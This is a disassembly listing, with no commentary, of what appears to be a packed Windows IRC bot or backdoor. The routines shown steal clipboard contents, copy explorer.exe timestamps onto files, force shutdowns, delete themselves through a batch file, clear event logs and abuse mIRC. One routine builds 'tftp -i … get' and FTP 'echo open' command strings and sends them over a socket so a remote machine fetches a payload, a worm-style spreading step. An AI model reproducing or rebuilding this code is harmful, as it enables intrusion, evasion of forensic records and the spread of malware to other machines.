		push	dword ptr [ebp+0Ch]
		call	dword_4E30D8	; send
		cmp	eax, edi
		jz	short loc_4189BC
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E30A0	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4189BC
		cmp	byte ptr [ebp-200Eh], 2
		jnz	short loc_4189BC
		push	10h
		push	offset loc_44FC18
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_418827
		add	esp, 10h
		test	al, al
		jz	short loc_41899C
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4189BC
; ---------------------------------------------------------------------------

loc_41899C:				; CODE XREF: .packed:0041898Ej
		push	10h
		push	offset dword_44FC2C
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_418827
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_4189BC:				; CODE XREF: .packed:004188FAj
					; .packed:00418911j ...
		push	dword ptr [ebp+0Ch]
		call	dword_4E3120	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_41887A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189CD	proc near		; CODE XREF: sub_401C87+BA7p
					; sub_401C87+BE1p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418A58
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_418A58
		cmp	[ebp+arg_8], esi
		jz	short loc_418A58
		cmp	byte ptr [eax],	0
		jz	short loc_418A58
		push	ebx
		push	edi
		call	sub_43AEA0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418A53
		push	[ebp+arg_4]
		push	edi
		call	sub_41EBB0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418A4C
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41E510
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41BC70
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41FAC0
		push	[ebp+arg_4]
		call	sub_41BC70
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41F630
		push	ebx
		push	edi
		call	sub_41F620
		add	esp, 30h
		mov	esi, edi

loc_418A4C:				; CODE XREF: sub_4189CD+3Cj
		push	ebx
		call	sub_41C9D0
		pop	ecx

loc_418A53:				; CODE XREF: sub_4189CD+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418A5A
; ---------------------------------------------------------------------------

loc_418A58:				; CODE XREF: sub_4189CD+Cj
					; sub_4189CD+13j ...
		xor	eax, eax

loc_418A5A:				; CODE XREF: sub_4189CD+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4189CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A5E	proc near		; CODE XREF: sub_401B0B+E9p
					; sub_410B14+F4p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_41E4B0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41BC70
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_418A96
		or	eax, 0FFFFFFFFh
		jmp	short loc_418AFD
; ---------------------------------------------------------------------------

loc_418A96:				; CODE XREF: sub_418A5E+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_418AB7

loc_418AA2:				; CODE XREF: sub_418A5E+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_418AAF
		cmp	dl, 0Dh
		jnz	short loc_418AB2

loc_418AAF:				; CODE XREF: sub_418A5E+4Aj
		mov	[ecx+esi], bl

loc_418AB2:				; CODE XREF: sub_418A5E+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_418AA2

loc_418AB7:				; CODE XREF: sub_418A5E+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_418ADF

loc_418ABD:				; CODE XREF: sub_418A5E+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_418ADA
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_418ADA
		cmp	edi, 1F4h
		jge	short loc_418ADF
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi

loc_418ADA:				; CODE XREF: sub_418A5E+62j
					; sub_418A5E+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_418ABD

loc_418ADF:				; CODE XREF: sub_418A5E+5Dj
					; sub_418A5E+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_418AFB
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41FBF0
		add	esp, 0Ch

loc_418AFB:				; CODE XREF: sub_418A5E+84j
		mov	eax, edi

loc_418AFD:				; CODE XREF: sub_418A5E+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418A5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B02	proc near		; CODE XREF: sub_418B5C+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418B3B
		push	ebx
		mov	ebx, edi

loc_418B1F:				; CODE XREF: sub_418B02+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418B3E
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418B1F
		pop	ebx

loc_418B3B:				; CODE XREF: sub_418B02+18j
		pop	edi
		pop	esi
		retn
sub_418B02	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B3E	proc near		; CODE XREF: sub_418B02+25p
					; sub_418B5C+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_421C90
		cmp	al, 61h
		pop	ecx
		jl	short loc_418B59
		cmp	al, 7Ah
		jg	short loc_418B59
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418B59:				; CODE XREF: sub_418B3E+Ej
					; sub_418B3E+12j
		xor	eax, eax
		retn
sub_418B3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B5C	proc near		; CODE XREF: .packed:00415B45p
					; .packed:00415BCAp ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41EF80
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41BC70
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41BC70
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418B02
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_418C0E
; ---------------------------------------------------------------------------

loc_418B9C:				; CODE XREF: sub_418B5C+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_421C90
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_421C90
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418C0C

loc_418BBE:				; CODE XREF: sub_418B5C+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418B3E
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418BDF
		mov	eax, ecx

loc_418BDF:				; CODE XREF: sub_418B5C+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_418C1C
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_421C90
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_421C90
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418BBE

loc_418C0C:				; CODE XREF: sub_418B5C+60j
		dec	edi
		dec	esi

loc_418C0E:				; CODE XREF: sub_418B5C+3Ej
		test	esi, esi
		jg	short loc_418B9C
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418C17:				; CODE XREF: sub_418B5C+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418C1C:				; CODE XREF: sub_418B5C+88j
		xor	eax, eax
		jmp	short loc_418C17
sub_418B5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C20	proc near		; CODE XREF: sub_401C87+6862p
					; sub_401C87+7921p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4F542C	; FormatMessageA
		lea	eax, [ebp+var_100]

loc_418C59:				; CODE XREF: sub_418C20+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418C65
		cmp	cl, 9
		jnz	short loc_418C68

loc_418C65:				; CODE XREF: sub_418C20+3Ej
		inc	eax
		jmp	short loc_418C59
; ---------------------------------------------------------------------------

loc_418C68:				; CODE XREF: sub_418C20+43j
					; sub_418C20+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_418C82
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418C68
		cmp	cl, 21h
		jl	short loc_418C68

loc_418C82:				; CODE XREF: sub_418C20+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4F2848
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41EC30
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418C20	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CAA	proc near		; CODE XREF: sub_401C87+2484p
		push	esi
		push	0
		call	dword_4E3058	; OpenClipboard
		test	eax, eax
		jz	short loc_418CE1
		push	1
		call	dword_4E3078	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_418CE1
		push	edi
		push	esi
		call	dword_4F5434	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4F5430	; GlobalUnlock
		call	dword_4E30DC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418CE1:				; CODE XREF: sub_418CAA+Bj
					; sub_418CAA+19j
		xor	eax, eax
		pop	esi
		retn
sub_418CAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CE5	proc near		; CODE XREF: sub_401C87+76CCp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	dword_4E3094	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418D65
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4F5440	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4F543C	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41EA60
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4E30E4	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4E30E4	; SendMessageA
		push	ebx
		call	dword_4F5438	; UnmapViewOfFile
		push	edi
		call	dword_4F533C	; CloseHandle
		xor	eax, eax
		pop	edi
		inc	eax
		pop	ebx
		jmp	short loc_418D67
; ---------------------------------------------------------------------------

loc_418D65:				; CODE XREF: sub_418CE5+14j
		xor	eax, eax

loc_418D67:				; CODE XREF: sub_418CE5+7Ej
		pop	esi
		pop	ebp
		retn
sub_418CE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D6A	proc near		; CODE XREF: sub_401404+200p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4E3140	; SearchPathA
		test	eax, eax
		jz	short loc_418E09
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4F53C0
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418E09
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4F5448	; GetFileTime
		push	ebx
		mov	ebx, dword_4F533C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418E09
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4F5444	; SetFileTime
		push	esi
		call	ebx	; CloseHandle

loc_418E09:				; CODE XREF: sub_418D6A+2Aj
					; sub_418D6A+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418D6A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41E4B0
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	sub_41E4B0
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-24h], si
		push	offset aSS_5	; "%s %s"
		push	400h
		push	eax
		call	sub_41EC30
		add	esp, 2Ch
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4F5340	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418E8C	proc near		; CODE XREF: sub_401C87+1662p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41A2C9
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4E2FC8	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418E8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EAE	proc near		; CODE XREF: sub_401C87+2718p
					; sub_416D68+45Fp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_43F094, esi
		push	edi
		jz	short loc_418ED2
		cmp	dword_4E3154, esi
		jnz	short loc_418ED2
		push	esi
		call	sub_401000
		pop	ecx

loc_418ED2:				; CODE XREF: sub_418EAE+13j
					; sub_418EAE+1Bj
		call	sub_40B854
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4F5384	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4F53C0	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_419032
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4F53B4	; WriteFile
		push	edi
		call	dword_4F533C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41E4B0
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4F2A48
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4F5370	; GetModuleHandleA
		push	eax
		call	dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4F536C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418FDA
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4F5368	; SetFileAttributesA

loc_418FDA:				; CODE XREF: sub_418EAE+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41EA60
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4F544C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4F5340	; CreateProcessA

loc_419032:				; CODE XREF: sub_418EAE+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418EAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419036	proc near		; CODE XREF: sub_401C87+729Ap

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4F539C	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_4190CC
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4E3008	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4E3018	; ClearEventLogA
		test	eax, eax
		jz	short loc_4190BE
		push	[ebp+arg_10]
		push	offset dword_44FCFC

loc_419097:				; CODE XREF: sub_419036+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h
		jmp	short loc_4190F6
; ---------------------------------------------------------------------------

loc_4190BE:				; CODE XREF: sub_419036+57j
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44FD18
		jmp	short loc_419097
; ---------------------------------------------------------------------------

loc_4190CC:				; CODE XREF: sub_419036+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_44FD40
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 1Ch

loc_4190F6:				; CODE XREF: sub_419036+86j
		pop	edi
		leave
		retn
sub_419036	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	dword_4E30C8	; inet_addr
		push	dword ptr [ebp+0C4h]
		mov	[ebp-0Ch], eax
		call	dword_4E3088	; htons
		push	edi
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_4E3108	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+0C4h], esi
		jz	loc_4191FC
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4191FC
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	esi
		call	dword_4E30A0	; recv
		mov	esi, offset byte_43F10C
		push	esi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_40AEAD
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	sub_41EC30
		movzx	eax, word ptr dword_4E2DC0
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AEAD
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp-1A0h]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp-1A0h]
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419200

loc_4191FC:				; CODE XREF: .packed:0041914Fj
					; .packed:00419165j
		xor	al, al
		jmp	short loc_419224
; ---------------------------------------------------------------------------

loc_419200:				; CODE XREF: .packed:004191FAj
		push	0
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E30A0	; recv
		push	dword ptr [ebp+0C4h]
		call	dword_4E3120	; closesocket
		mov	al, 1

loc_419224:				; CODE XREF: .packed:004191FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419229	proc near		; CODE XREF: sub_401C87+56A9p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4F539C	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_41926E
		cmp	[ebp+var_8C], 0
		jnz	loc_4192F8
		xor	eax, eax
		inc	eax
		cmp	[ebp+var_84], eax
		jz	locret_4192F6

loc_41926E:				; CODE XREF: sub_419229+27j
					; sub_419229+DFj
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	dword_4F538C	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		call	dword_4F5390	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_421E90
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_421E90
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_421E90
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_421E60
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_4F5410	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi

locret_4192F6:				; CODE XREF: sub_419229+3Fj
		leave
		retn
; ---------------------------------------------------------------------------

loc_4192F8:				; CODE XREF: sub_419229+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_41930E
		cmp	[ebp+var_8C], 5Ah
		jnz	loc_41926E

loc_41930E:				; CODE XREF: sub_419229+D6j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_419229	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419313	proc near		; CODE XREF: sub_401300+F7p
					; sub_40F038+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		call	sub_41EB70
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_43C4E0
		call	sub_4201DC
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419313	endp


; =============== S U B	R O U T	I N E =======================================



sub_419350	proc near		; CODE XREF: sub_401C87+45A2p
					; sub_401C87+460Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4193B5
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_44FE90[esi]
		push	edi
		push	eax
		call	sub_4193D7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_419398
		push	edi
		push	off_44FE8C[esi]
		mov	esi, offset dword_4F3120
		push	offset unk_44FEDC
		push	esi
		call	sub_41EA60
		add	esp, 10h
		jmp	short loc_4193D2
; ---------------------------------------------------------------------------

loc_419398:				; CODE XREF: sub_419350+2Aj
		push	eax
		call	sub_419479
		push	eax
		push	edi
		mov	esi, offset dword_4F3120
		push	offset unk_44FEF8
		push	esi
		call	sub_41EA60
		add	esp, 14h
		jmp	short loc_4193D2
; ---------------------------------------------------------------------------

loc_4193B5:				; CODE XREF: sub_419350+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4F3120
		push	off_44FE88[eax*4]
		push	offset unk_44FF24
		push	esi
		call	sub_41EA60
		add	esp, 0Ch

loc_4193D2:				; CODE XREF: sub_419350+46j
					; sub_419350+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_419350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193D7	proc near		; CODE XREF: sub_419350+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4E307C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4193FE
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_419473
; ---------------------------------------------------------------------------

loc_4193FE:				; CODE XREF: sub_4193D7+1Bj
		push	esi
		push	0F01FFh
